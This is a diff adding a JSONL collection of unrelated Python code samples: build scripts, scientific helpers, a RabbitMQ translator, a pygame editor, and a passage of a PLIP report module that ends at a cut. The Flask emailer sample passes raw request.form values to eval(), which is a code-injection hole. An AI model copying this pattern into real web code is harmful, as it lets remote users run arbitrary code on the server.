diff --git "a/5442.jsonl" "b/5442.jsonl" new file mode 100644--- /dev/null +++ "b/5442.jsonl" @@ -0,0 +1,315 @@ +{"seq_id":"217408025","text":"#!/usr/bin/env python\n# Copyright 2014 The Chromium Authors\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport json\nimport os\nimport sys\n\n\n# Add src/testing/ into sys.path for importing common without pylint errors.\nsys.path.append(\n os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\nfrom scripts import common\n\n\ndef main_run(args):\n with common.temporary_file() as tempfile_path:\n rc = common.run_command([\n os.path.join(common.SRC_DIR, 'buildtools', 'checkdeps', 'checkdeps.py'),\n '--json', tempfile_path\n ])\n\n with open(tempfile_path) as f:\n checkdeps_results = json.load(f)\n\n result_set = set()\n for result in checkdeps_results:\n for violation in result['violations']:\n result_set.add((result['dependee_path'], violation['include_path']))\n\n failures = ['%s: %s' % (r[0], r[1]) for r in result_set]\n common.record_local_script_results('checkdeps', args.output, failures, True)\n\n return rc\n\n\ndef main_compile_targets(args):\n json.dump([], args.output)\n\n\nif __name__ == '__main__':\n funcs = {\n 'run': main_run,\n 'compile_targets': main_compile_targets,\n }\n sys.exit(common.run_script(sys.argv[1:], funcs))\n","sub_path":"testing/scripts/checkdeps.py","file_name":"checkdeps.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"563561875","text":"def subtract(string, position):\n subtraction = int(string[position]) - 1\n return string[:position] + str(subtraction) + string[position + 1:]\n\n\ndef subtract_one_augmentation(string):\n aug = []\n string_indices = range(len(string) - 1, -1, -1)\n for i in string_indices:\n if (string[i] != 'X') and (string[i] != '0'):\n aug.append(subtract(string, i))\n return aug\n\n\ndef one_zero_augmentation(string):\n if string[-1] == '0':\n previous_was_zero = True\n else:\n previous_was_zero = False\n aug = []\n string_indices = range(len(string) - 1, -1, -1)\n for i in string_indices:\n if string[i] == '0':\n previous_was_zero = True\n else:\n if previous_was_zero:\n aug.append(string[:i + 1] + '0' + string[i + 1:])\n previous_was_zero = False\n if previous_was_zero:\n aug.append('0' + string)\n return aug\n\n\n\ndef two_zero_augmentation(string):\n if string[-1] == '0':\n previous_was_zero = True\n else:\n previous_was_zero = False\n aug = []\n string_indices = range(len(string) - 1, -1, -1)\n for i in string_indices:\n if string[i] == '0':\n previous_was_zero = True\n else:\n if previous_was_zero:\n aug.append(string[:i + 1] + '00' + string[i + 1:])\n previous_was_zero = False\n if previous_was_zero:\n aug.append('00' + string)\n return aug\n\n\ndef subtract_two_augmentation(string):\n aug = []\n string_indices = range(len(string) - 1, -1, -1)\n for i in string_indices:\n if (string[i] != 'X') and (string[i] != '0'):\n one_subtract_str = subtract(string, i)\n for j in range(i - 1, -1, -1):\n if (one_subtract_str[j] != 'X') and (one_subtract_str[j] != '0'):\n aug.append(subtract(one_subtract_str, j))\n return aug\n\n\ndef positive_augmentation(string, num_of_aug):\n modified_strings = []\n subtract_one_aug = subtract_one_augmentation(string)\n modified_strings += subtract_one_aug\n for one_aug_str in subtract_one_aug:\n modified_strings += one_zero_augmentation(one_aug_str)\n modified_strings += two_zero_augmentation(one_aug_str)\n subtract_two_aug = subtract_two_augmentation(string)\n modified_strings += subtract_two_aug\n for two_aug_str in subtract_two_aug:\n modified_strings += one_zero_augmentation(two_aug_str)\n modified_strings += two_zero_augmentation(two_aug_str)\n if num_of_aug <= len(modified_strings):\n return modified_strings[:num_of_aug]\n else:\n return modified_strings*(num_of_aug//len(modified_strings)) + modified_strings[:(num_of_aug%len(modified_strings))]\n\n\nsample1 = '111102122221221111111021111011110332002444321111011354321221102100'\nsample2 = '111102122221221111X111021111011110332002444X321111011354321221102100'\n\nprint(sample2)\nprint('\\n'.join(positive_augmentation(sample2, 10)))\n","sub_path":"positive_augmentation.py","file_name":"positive_augmentation.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"257264029","text":"from flask import Blueprint, render_template, request\n\nemailer = Blueprint('emailer', __name__, url_prefix='/emailer')\n\n\n@emailer.route('/')\ndef email_page():\n persons, groups, events, activities = the_dataset.get_lists()\n person_flds = ['ID', 'PersonName']\n group_flds = ['ID', 'GroupName']\n event_flds = ['ID', 'EventName']\n activity_flds = ['ID', 'ActivityName']\n return render_template(\n 'email/email.html',\n persons=[dict(zip(person_flds, person)) for person in persons],\n groups=[dict(zip(group_flds, group)) for group in groups],\n events=[dict(zip(event_flds, event)) for event in events],\n activities=[dict(zip(activity_flds, activity)) for activity in activities]\n )\n\n\n@emailer.route('/sendmail', methods=['POST'])\ndef send_mail():\n from models.email import Emailer\n params = {\n 'groups': eval(request.form['groups']),\n 'events': eval(request.form['events']),\n 'activities': eval(request.form['activities']),\n 'persons': eval(request.form['persons']),\n 'from': request.form['from'],\n 'subject': request.form['subject'],\n 'message': request.form['message']\n }\n mailer = Emailer(params)\n mailer.send()\n return \"whoopee\"\n","sub_path":"controllers/emailer.py","file_name":"emailer.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"504729556","text":"from time import time\n\nfrom pyxai import Learning, Explainer, Tools\n\n# To use with the minist dataset for example\n# (classification between 4 and 9 or between 3 and 8)\n# available here:\n# http://www.cril.univ-artois.fr/expekctation/datasets/mnist38.csv\n# http://www.cril.univ-artois.fr/expekctation/datasets/mnist49.csv\n\n\n# the location of the dataset\ndataset = \"./examples/datasets/mnist49.csv\"\n\n# Machine learning part\nlearner = Learning.Scikitlearn(dataset)\nmodel = learner.evaluate(method=Learning.HOLD_OUT, output=Learning.RF)\ninstance, prediction = learner.get_instances(model, n=1, correct=True)\n\n# Explanation part\nexplainer = Explainer.initialize(model, instance)\ndirect = explainer.direct_reason()\nprint(\"len direct:\", len(direct))\n\nmajoritary_reason = explainer.majoritary_reason(n=1)\nprint(\"len majoritary_reason:\", len(majoritary_reason))\nassert explainer.is_reason(majoritary_reason), \"This is not a reason reason !\"\n\n# minimal_majoritary = explainer\nminimal_reason = explainer.minimal_majoritary_reason(time_limit=5)\nassert explainer.is_reason(minimal_reason), \"This is not a reason\"\nif explainer.elapsed_time == Explainer.TIMEOUT: print(\"This is an approximation\")\nprint(\"len minimal majoritary reason:\", len(minimal_reason))\n\n# Heatmap part\nheatmap = Tools.Vizualisation(28, 28, instance)\n\nheatmap.new_image(\"Instance\").set_instance(instance)\nheatmap.new_image(\"direct\").add_reason(explainer.to_features(direct, details=True)).set_background_instance(instance)\nheatmap.new_image(\"Majoritary\").add_reason(explainer.to_features(majoritary_reason, details=True)).set_background_instance(instance)\nheatmap.new_image(\"Minimal majoritary\").add_reason(explainer.to_features(minimal_reason, details=True)).set_background_instance(instance)\n\nheatmap.display()\n","sub_path":"examples/RF/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"562760107","text":"\n\n#calss header\nclass _CHARISMATIC():\n\tdef __init__(self,): \n\t\tself.name = \"CHARISMATIC\"\n\t\tself.definitions = [u'used to describe a person who has charisma: ', u'belonging or relating to various groups within the Christian Church who believe that God gives people special powers, such as the ability to make others well again and to speak to him in a special language: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_charismatic.py","file_name":"_charismatic.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"254215802","text":"import pika\nimport json\nimport lxml.etree\nimport lxml.builder\nimport arrow\n\ndef main():\n connect()\n #translate_json_to_xml('{\"LoanRequest\" : { \"ssn\" : 2020202020, \"creditScore\" : 400, \"loanAmount\" : 40000, \"loanDuration\" : 360 } }')\n\ndef callback(ch, method, properties, body):\n print(\" [x] Recieved data: %r\" % body)\n xml = translate_json_to_xml(body)\n send_to_bank(xml)\n ch.basic_ack(delivery_tag = method.delivery_tag)\n\ndef translate_json_to_xml(json_str):\n xml = lxml.builder.ElementMaker()\n doc = xml.LoanRequest\n ssn_field = xml.ssn\n credit_field = xml.creditScore\n loan_field = xml.loanAmount\n date_field = xml.loanDuration\n\n json_str = json.loads(json_str)\n print (json_str)\n date_str = generate_date_string(json_str['loanDuration'])\n date_str = date_str.format().split(\"+\",1)[0] + \".0 CET\"\n\n xml_doc = doc(\n ssn_field(str(json_str['ssn'])),\n credit_field(str(json_str['creditScore'])),\n loan_field(str(json_str['loanAmount'])),\n date_field(date_str.format())\n )\n result = lxml.etree.tostring(xml_doc)\n return result\n\ndef generate_date_string(date):\n base_date = arrow.get('1970-01-01 01:00:00')\n return base_date.replace(months=+int(date))\n\ndef send_to_bank(data):\n connection = pika.BlockingConnection(pika.ConnectionParameters(host='datdb.cphbusiness.dk'))\n channel = connection.channel()\n\n channel.exchange_declare(exchange='cphbusiness.bankXML', exchange_type='fanout')\n\n channel.basic_publish(exchange='cphbusiness.bankXML',\n routing_key='',\n properties= pika.BasicProperties(reply_to='g1.normalizer'),\n body=data)\n print(\"Sent data \", data)\n connection.close()\n\ndef connect():\n connection = pika.BlockingConnection(pika.ConnectionParameters('datdb.cphbusiness.dk'))\n channel = connection.channel()\n\n channel.exchange_declare(exchange='g1.exchange', exchange_type='direct')\n\n result = channel.queue_declare(exclusive=True)\n queue_name = result.method.queue\n\n channel.queue_bind(exchange='g1.exchange',\n routing_key='g1.XMLBank',\n queue=queue_name)\n\n print(' [*] Waiting for data. To exit press CTRL+C')\n\n channel.basic_consume(callback,\n queue=queue_name)\n\n channel.start_consuming()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"LB_Translators/RabbitMQ_xml_translator.py","file_name":"RabbitMQ_xml_translator.py","file_ext":"py","file_size_in_byte":2446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"403980937","text":"from django.conf.urls import patterns, url\n\nfrom .views import (CasesTotalCountLastWeek, CasesPerTypeCountLastWeek, CasesWithTagsLastWeek, CasesCountPerStatus,\n CasesTopTags)\n\nurlpatterns = patterns(\n '',\n url(r'^cases/total/(?P[\\d]+)/$', CasesTotalCountLastWeek.as_view()),\n url(r'^cases/grouped/(?P[\\d]+)/$', CasesPerTypeCountLastWeek.as_view()),\n url(r'^cases/withtags/(?P[\\d]+)/$', CasesWithTagsLastWeek.as_view()),\n url(r'^cases/countperstatus/(?P[\\d]+)/$', CasesCountPerStatus.as_view()),\n url(r'^cases/toptags/(?P[\\d]+)/$', CasesTopTags.as_view()),\n)\n","sub_path":"lily/stats/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"75103694","text":"from __future__ import absolute_import, division, print_function, unicode_literals\nfrom petsc4py import PETSc\nfrom slepc4py import SLEPc\nimport numpy as np\nfrom scipy.sparse import csr_matrix\nPrint = PETSc.Sys.Print\n__author__ = 'Murat Keceli'\n__date__ = 'February 13, 2017'\n\"\"\"\nYou can install slepc4py and all its dependencies with conda:\nconda install -c conda-forge slepc4py\nMore info on PETSc and SLEPc:\nhttps://www.mcs.anl.gov/petsc/\nhttp://slepc.upv.es/\nhttp://slepc.upv.es/documentation/slepc.pdf\n\"\"\"\ndef get_petsc_matrix(Acsr,comm=PETSc.COMM_WORLD):\n \"\"\"\n Given a scipy csr matrix returns PETSC AIJ matrix on a given mpi communicator.\n Parameters\n ----------\n Acsr: Array like, scipy CSR formated sparse matrix\n comm: MPI communicator\n Returns\n ----------\n PETSc AIJ Mat\n \"\"\"\n A = PETSc.Mat().createAIJ(Acsr.shape[0])\n A.setUp()\n rstart, rend = A.getOwnershipRange()\n return A.createAIJ(size=Acsr.shape[0],\n csr=(Acsr.indptr[rstart:rend+1] - Acsr.indptr[rstart],\n Acsr.indices[Acsr.indptr[rstart]:Acsr.indptr[rend]],\n Acsr.data[Acsr.indptr[rstart]:Acsr.indptr[rend]]),\n comm=comm) \n\ndef get_numpy_array(xr):\n \"\"\"\n Convert a distributed PETSc Vec into a sequential numpy array.\n Parameters:\n -----------\n xr: PETSc Vec\n Returns:\n --------\n Array\n \"\"\"\n xr_size = xr.getSize()\n seqx = PETSc.Vec()\n seqx.createSeq(xr_size,comm=PETSc.COMM_SELF)\n seqx.setFromOptions()\n # seqx.set(0.0)\n fromIS = PETSc.IS().createGeneral(range(xr_size),comm=PETSc.COMM_SELF)\n toIS = PETSc.IS().createGeneral(range(xr_size),comm=PETSc.COMM_SELF)\n sctr=PETSc.Scatter().create(xr,fromIS,seqx,toIS)\n sctr.begin(xr,seqx,addv=PETSc.InsertMode.INSERT,mode=PETSc.ScatterMode.FORWARD)\n sctr.end(xr,seqx,addv=PETSc.InsertMode.INSERT,mode=PETSc.ScatterMode.FORWARD)\n return seqx.getArray()\n\n\ndef get_eigenpairs(A, npairs=8, largest=True, comm=PETSc.COMM_WORLD):\n \"\"\"\n Parameters:\n -----------\n A: scipy CSR matrix, or numpy array or PETSc mat \n npairs: int, number of eigenpairs required\n largest: boolean, True (False) if largest (smallest) magnitude eigenvalues are requried\n comm: MPI communicator\n Returns:\n --------\n evals: 1D array of npairs, eigenvalues from largest to smallest\n evecs: 2D array of (n, npairs) where n is size of A matrix\n \"\"\"\n matrixtype = str(type(A))\n if 'scipy' in matrixtype:\n n = A.shape[0]\n A = get_petsc_matrix(A, comm)\n elif 'petsc' in matrixtype:\n n = A.getSize()\n elif 'numpy' in matrixtype:\n A = csr_matrix(A)\n n = A.shape[0]\n A = get_petsc_matrix(A, comm)\n else:\n Print('Matrix type {} is not compatible. Use scipy CSR or PETSc AIJ type.'.format(type(A)))\n mpisize = comm.size\n Print('Matrix size: {}'.format(n))\n eps = SLEPc.EPS()\n eps.create()\n eps.setOperators(A)\n eps.setProblemType(SLEPc.EPS.ProblemType.HEP)\n if largest:\n eps.setWhichEigenpairs(SLEPc.EPS.Which.LARGEST_REAL)\n else:\n eps.setWhichEigenpairs(SLEPc.EPS.Which.SMALLEST_REAL)\n eps.setDimensions(nev=npairs,ncv=SLEPc.DECIDE,mpd=SLEPc.DECIDE)\n eps.setTolerances(tol=1.e-14)\n eps.setFromOptions() #Use command line options\n eps.setUp()\n eps.solve()\n nconv = eps.getConverged()\n vr = A.getVecLeft()\n vi = A.getVecLeft()\n if nconv < npairs:\n Print(\"{} eigenvalues required, {} converged.\".format(npairs,nconv))\n npairs = nconv\n evals = np.zeros(npairs)\n evecs = np.zeros((n,npairs))\n for i in range(npairs):\n k = eps.getEigenpair(i,vr,vi)\n if abs(k.imag) > 1.e-10:\n Print(\"Imaginary eigenvalue: {} + {}j\".format(k.real,k.imag))\n Print(\"Error: {}\".format(eps.computeError(i)))\n if mpisize > 1:\n evecs[:,i] = get_numpy_array(vr)\n else:\n evecs[:,i] = vr.getArray()\n evals[i] = k.real\n return evals, evecs \n\n\ndef get_null_space(A, npairs, comm=PETSc.COMM_WORLD):\n \"\"\"\n Returns 'npairs' eigenpairs with eigenvalues close to 0. Uses shift-and-invert.\n Parameters:\n -----------\n A: scipy CSR matrix, or numpy array or PETSc mat \n npairs : integer\n Number of eigenvalues/vectors to return\n comm: MPI communicator\n\n Returns:\n --------\n evals: 1D array of npairs, eigenvalues from largest to smallest\n evecs: 2D array of (n, npairs) where n is size of A matrix\n \"\"\"\n matrixtype = str(type(A))\n if 'scipy' in matrixtype:\n n = A.shape[0]\n A = get_petsc_matrix(A, comm)\n elif 'petsc' in matrixtype:\n n = A.getSize()\n elif 'numpy' in matrixtype:\n A = csr_matrix(A)\n n = A.shape[0]\n A = get_petsc_matrix(A, comm)\n else:\n Print('Matrix type {} is not compatible. Use scipy CSR or PETSc AIJ type.'.format(type(A)))\n mpisize = comm.size\n Print('Matrix size: {}'.format(n))\n eps = SLEPc.EPS()\n eps.create()\n eps.setOperators(A)\n eps.setProblemType(SLEPc.EPS.ProblemType.HEP)\n eps.setWhichEigenpairs(SLEPc.EPS.Which.TARGET_REAL)\n eps.setTarget(0.)\n eps.setDimensions(nev=npairs,ncv=SLEPc.DECIDE,mpd=SLEPc.DECIDE)\n st=eps.getST()\n ksp=st.getKSP()\n pc=ksp.getPC()\n pc.setType(PETSc.PC.Type.CHOLESKY)\n pc.setFactorShift(shift_type=A.FactorShiftType.POSITIVE_DEFINITE)\n pc.setFactorSolverPackage('mumps')\n st.setType(SLEPc.ST.Type.SINVERT)\n eps.setTolerances(tol=1.e-14)\n eps.setFromOptions() #Use command line options\n eps.setUp()\n eps.solve()\n nconv = eps.getConverged()\n vr = A.getVecLeft()\n vi = A.getVecLeft()\n if nconv < npairs:\n Print(\"{} eigenvalues required, {} converged.\".format(npairs,nconv))\n npairs = nconv\n evals = np.zeros(npairs)\n evecs = np.zeros((n,npairs))\n for i in range(npairs):\n k = eps.getEigenpair(i,vr,vi)\n if abs(k.imag) > 1.e-10:\n Print(\"Imaginary eigenvalue: {} + {}j\".format(k.real,k.imag))\n Print(\"Error: {}\".format(eps.computeError(i)))\n if mpisize > 1:\n evecs[:,i] = get_numpy_array(vr)\n else:\n evecs[:,i] = vr.getArray()\n evals[i] = k.real\n return evals, evecs \n\n \n","sub_path":"megaman/utils/slepctools.py","file_name":"slepctools.py","file_ext":"py","file_size_in_byte":6305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"310824398","text":"import pytz\nfrom datetime import datetime\n\nimport h5py\nimport pandas as pd\n\nimport numpy as np\nfrom scipy.signal import medfilt\nimport matplotlib.pyplot as plt\n\n\ndef file2utc(filepath):\n \"\"\"\n Converts the first 19 digits of the hdf filename (filepath) to UNIX time\n and returns the UTC timestamps.\n \"\"\"\n filename = (filepath.split('/')[-1])[0:19]\n time_ns = float(filename)/(10**9)\n return pytz.utc.localize(datetime.fromtimestamp(time_ns))\n\ndef utc2cern(timestamp_utc):\n \"\"\"\n Converts the UTC timestamp (timestamp_utc) to CERN's local timestamp.\n \"\"\"\n return timestamp_utc.astimezone(pytz.timezone('Europe/Zurich'))\n\ndef hdf2csv(filepath, output):\n \"\"\"\n Reads the hdf file at filepath and stores its csv details equivalent at\n the output directory\n \"\"\"\n output_path = output+ ((filepath.split('/')[-1]).split('.'))[0] +'.csv'\n input_file = h5py.File(filepath, 'r')\n\n rows = dict()\n\n def traverse(path, element):\n if isinstance(element, h5py.Dataset):\n try:\n data_type = element.dtype\n except Exception as e:\n data_type = str(e)\n\n rows[path] = ['Dataset', element.size, element.shape, data_type]\n else:\n rows[path] = ['Group', '','','']\n\n input_file.visititems(traverse)\n df = pd.DataFrame.from_dict(rows, orient='index', columns = ['type', 'size', 'shape', 'data_type'])\n df.to_csv(output_path, sep=',')\n\n\ndef plot_image(im_data, dimensions, im_title= None, output_path= None):\n \"\"\"\n Plots a 2D matrix as an image as saves it at output path.\n \"\"\"\n fig = plt.figure(figsize = dimensions)\n\n ax = fig.add_subplot(111)\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\n\n if im_title is not None:\n plt.title(im_title)\n\n plt.imshow(im_data)\n\n if output_path is not None:\n plt.savefig(output_path, bbox_inches='tight')\n\ndef linear2matrix(hdf_path, image_path, output):\n \"\"\"\n Converts the linear data in the image dataset to its 2D equivalent\n and saves it as an image.\n \"\"\"\n input_file= h5py.File(hdf_path, 'r')\n output_path = output + ((hdf_path.split('/')[-1]).split('.'))[0] + '_' + image_path.split('/')[-2] + '.png'\n\n data = input_file[ image_path + 'streakImageData'][:]\n h = input_file[ image_path + 'streakImageHeight'][0]\n w = input_file[ image_path + 'streakImageWidth'][0]\n\n reshaped_data = np.reshape(data, (h,w))\n filtered_img = medfilt(reshaped_data)\n\n plot_image(filtered_img, (h/100.0, w/100.0), image_path, output_path)\n","sub_path":"eval_test/library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"601948237","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\ndef fix_category_slugs(apps, schema_editor):\n \"\"\"Исправление slug для категорий тегов новостей и статей.\"\"\"\n TagCategory = apps.get_model('tags', 'TagCategory')\n\n categories = [\n (u'Новости', 'news'),\n (u'Статьи', 'articles')\n ]\n for c, slug in categories:\n TagCategory.objects.filter(title=c).update(slug=slug)\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tags', '0006_refill_tags_slug'),\n ]\n\n operations = [\n migrations.RunPython(fix_category_slugs),\n ]\n","sub_path":"src/admin_app/tags/migrations/0007_fix_category_slugs.py","file_name":"0007_fix_category_slugs.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"39356747","text":"import pygame\nfrom pygame.locals import *\n\n\nclass color:\n def __init__(self):\n self.black = (0, 0, 0)\n self.red = (255, 0, 0)\n self.gray = (150, 150, 150)\n self.green = (0, 255, 0)\n self.white = (255, 255, 255)\n self.blue = (0, 0, 255)\n\n\nclass segment:\n def __init__(self):\n self.start = (0, 0)\n self.end = (0, 0)\n\n def getSegment():\n line = []\n line.append(segment.start)\n line.append(segment.end)\n return line\n\n\nclass image:\n def __init__(self):\n self.img = pygame.image.load('bird.png')\n self.moving = False\n self.rect = self.img.get_rect()\n self.x = 250\n self.y = 250\n\n\nclass main:\n def __init__(self):\n self.color = color()\n self.segment = segment()\n self.image = image()\n self.undo = []\n self.list_lines = []\n self.background = self.color.white\n self.key_dict = {\n K_r: self.color.red,\n K_g: self.color.gray,\n K_v: self.color.green,\n K_w: self.color.white,\n K_b: self.color.blue\n }\n self.screen = pygame.display.set_mode((800, 800))\n\n pygame.init()\n self.image.img.convert()\n\n while True:\n for event in pygame.event.get():\n if event.type == KEYDOWN:\n if event.key == K_n:\n if (self.image.moving):\n self.image.moving = False\n else:\n self.image.moving = True\n\n elif event.key == K_UP:\n self.image.y -= 10\n elif event.key == K_DOWN:\n self.image.y += 10\n elif event.key == K_LEFT:\n self.image.x -= 10\n elif event.key == K_RIGHT:\n self.image.x += 10\n\n elif event.key == K_k:\n self.image.x = 250\n self.image.y = 250\n\n elif event.key == K_z:\n if (len(self.list_lines) > 0):\n self.undo.append(self.list_lines[-1])\n self.list_lines.pop()\n elif event.key == K_y:\n if (len(self.undo) > 0):\n self.list_lines.append(self.undo[-1])\n self.undo.pop()\n\n else:\n for key in self.key_dict.keys():\n if event.key == key:\n self.background = self.key_dict.get(key)\n\n elif event.type == MOUSEMOTION and self.image.moving:\n convert = self.image.img.convert()\n h, w = convert.get_height(), convert.get_width()\n x, y = pygame.mouse.get_pos()\n\n self.image.x, self.image.y = x - h / 2, y - w / 2\n\n elif not self.image.moving:\n if event.type == MOUSEBUTTONDOWN:\n segment.start = event.pos\n elif event.type == MOUSEBUTTONUP:\n segment.end = event.pos\n self.list_lines.append(segment.getSegment())\n\n self.screen.fill(self.background)\n self.screen.blit(self.image.img, (self.image.x, self.image.y))\n\n if len(self.list_lines) > 0:\n for line_i in self.list_lines:\n pygame.draw.lines(self.screen, self.color.black, True, line_i, 3)\n\n pygame.display.update()\n\n pygame.quit()\n\n\nmain()","sub_path":"editor/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"86745512","text":"'''\n--- Day 3: Squares With Three Sides ---\n\nNow that you can think clearly, you move deeper into the labyrinth of hallways and office furniture that makes up this part of Easter Bunny HQ. This must be a graphic design department; the walls are covered in specifications for triangles.\n\nOr are they?\n\nThe design document gives the side lengths of each triangle it describes, but... 5 10 25? Some of these aren't triangles. You can't help but mark the impossible ones.\n\nIn a valid triangle, the sum of any two sides must be larger than the remaining side. For example, the \"triangle\" given above is impossible, because 5 + 10 is not larger than 25.\n\nIn your puzzle input, how many of the listed triangles are possible?\n'''\n\nFILE = 'input.txt'\n# FILE = 'test.txt'\n\nimport re\nfrom itertools import zip_longest\n\nDEBUG = False\n# DEBUG = True\n\ndef day03():\n with open(FILE) as f:\n # this will return a list containining all the instructions\n input = [list(map(int, j)) for j in [i.split() for i in f.read().splitlines()]]\n # of possible triangles\n count = 0\n for triangle in input:\n triangle.sort()\n if sum(triangle[0:2]) > triangle[2]:\n count += 1\n print(count)\n\n\n# grouper reads a list (or other iterable) 3 lines at time\ndef grouper(iterable, n, fillvalue=None):\n \"Collect data into fixed-length chunks or blocks\"\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\n args = [iter(iterable)] * n\n return zip_longest(*args, fillvalue=fillvalue)\n\ndef day03_2():\n with open(FILE) as f:\n # this will return a list containining all the instructions\n input = [list(map(int, j)) for j in [i.split() for i in f.read().splitlines()]]\n '''input = [\n [101, 301, 501],\n [102, 302, 502],\n [103, 303, 503],\n [201, 401, 601],\n [202, 402, 602],\n [203, 403, 603]]'''\n\n # the number of hit\n count = 0\n # read 3 lines at time\n for data in grouper(input,3):\n # transpose the data block of 3 X 3\n for triangle in zip_longest(*data):\n # triangle is a tuple by default\n triangle = list(triangle)\n triangle.sort()\n if sum(triangle[0:2]) > triangle[2]:\n count += 1\n print(count)\n\nif __name__ == '__main__':\n day03()\n day03_2()\n\n\n","sub_path":"2016/Day03/day03.py","file_name":"day03.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"313450159","text":"\"\"\"\nProtein-Ligand Interaction Profiler - Analyze and visualize protein-ligand interactions in PDB files.\nreport.py - Write PLIP results to output files.\nCopyright 2014-2015 Sebastian Salentin\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\n\n# Python Standard Library\nimport time\nfrom operator import itemgetter\n\n# External libraries\nimport lxml.etree as et\n\n\nclass TextOutput:\n \"\"\"Gather report data and generate reports for one binding site in different formats\"\"\"\n def __init__(self, plcomplex):\n\n ################\n # GENERAL DATA #\n ################\n\n self.complex = plcomplex\n self.ligand = self.complex.ligand\n self.bindingsite = self.complex.bindingsite\n self.output_path = self.complex.output_path\n self.bsid = ':'.join([self.ligand.hetid, self.ligand.chain, str(self.ligand.position)])\n self.longname = self.ligand.longname\n self.ligtype = self.ligand.type\n self.bs_res = self.bindingsite.bs_res\n self.min_dist = self.bindingsite.min_dist\n self.bs_res_interacting = self.complex.interacting_res\n self.pdbid = self.complex.pdbid.upper()\n self.lig_members = self.complex.lig_members\n self.interacting_chains = self.complex.interacting_chains\n\n ############################\n # HYDROPHOBIC INTERACTIONS #\n ############################\n\n self.hydrophobic_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'DIST', 'LIGCARBONIDX', 'PROTCARBONIDX', 'LIGCOO',\n 'PROTCOO')\n self.hydrophobic_info = []\n for hydroph in self.complex.hydrophobic_contacts:\n self.hydrophobic_info.append((hydroph.resnr, hydroph.restype, hydroph.reschain, '%.2f' % hydroph.distance,\n hydroph.ligatom_orig_idx, hydroph.bsatom_orig_idx, hydroph.ligatom.coords,\n hydroph.bsatom.coords))\n\n ##################\n # HYDROGEN BONDS #\n ##################\n\n self.hbond_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'SIDECHAIN', 'DIST_H-A', 'DIST_D-A', 'DON_ANGLE',\n 'PROTISDON', 'DONORIDX', 'DONORTYPE', 'ACCEPTORIDX', 'ACCEPTORTYPE', 'LIGCOO', 'PROTCOO')\n self.hbond_info = []\n for hbond in self.complex.hbonds_pdon + self.complex.hbonds_ldon:\n ligatom, protatom = (hbond.a, hbond.d) if hbond.protisdon else (hbond.d, hbond.a)\n self.hbond_info.append((hbond.resnr, hbond.restype, hbond.reschain, hbond.sidechain,\n '%.2f' % hbond.distance_ah, '%.2f' % hbond.distance_ad, '%.2f' % hbond.angle,\n hbond.protisdon, hbond.d_orig_idx, hbond.dtype, hbond.a_orig_idx, hbond.atype,\n ligatom.coords, protatom.coords))\n\n #################\n # WATER-BRIDGES #\n #################\n\n self.waterbridge_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'DIST_A-W', 'DIST_D-W', 'DON_ANGLE', 'WATER_ANGLE',\n 'PROTISDON', 'DONOR_IDX', 'DONORTYPE', 'ACCEPTOR_IDX', 'ACCEPTORTYPE', 'WATER_IDX',\n 'LIGCOO', 'PROTCOO', 'WATERCOO')\n # The coordinate format is an exception here, since the interaction is not only between ligand and protein\n self.waterbridge_info = []\n for wbridge in self.complex.water_bridges:\n lig, prot = (wbridge.a, wbridge.d) if wbridge.protisdon else (wbridge.d, wbridge.a)\n self.waterbridge_info.append((wbridge.resnr, wbridge.restype, wbridge.reschain,\n '%.2f' % wbridge.distance_aw, '%.2f' % wbridge.distance_dw,\n '%.2f' % wbridge.d_angle, '%.2f' % wbridge.w_angle, wbridge.protisdon,\n wbridge.d_orig_idx, 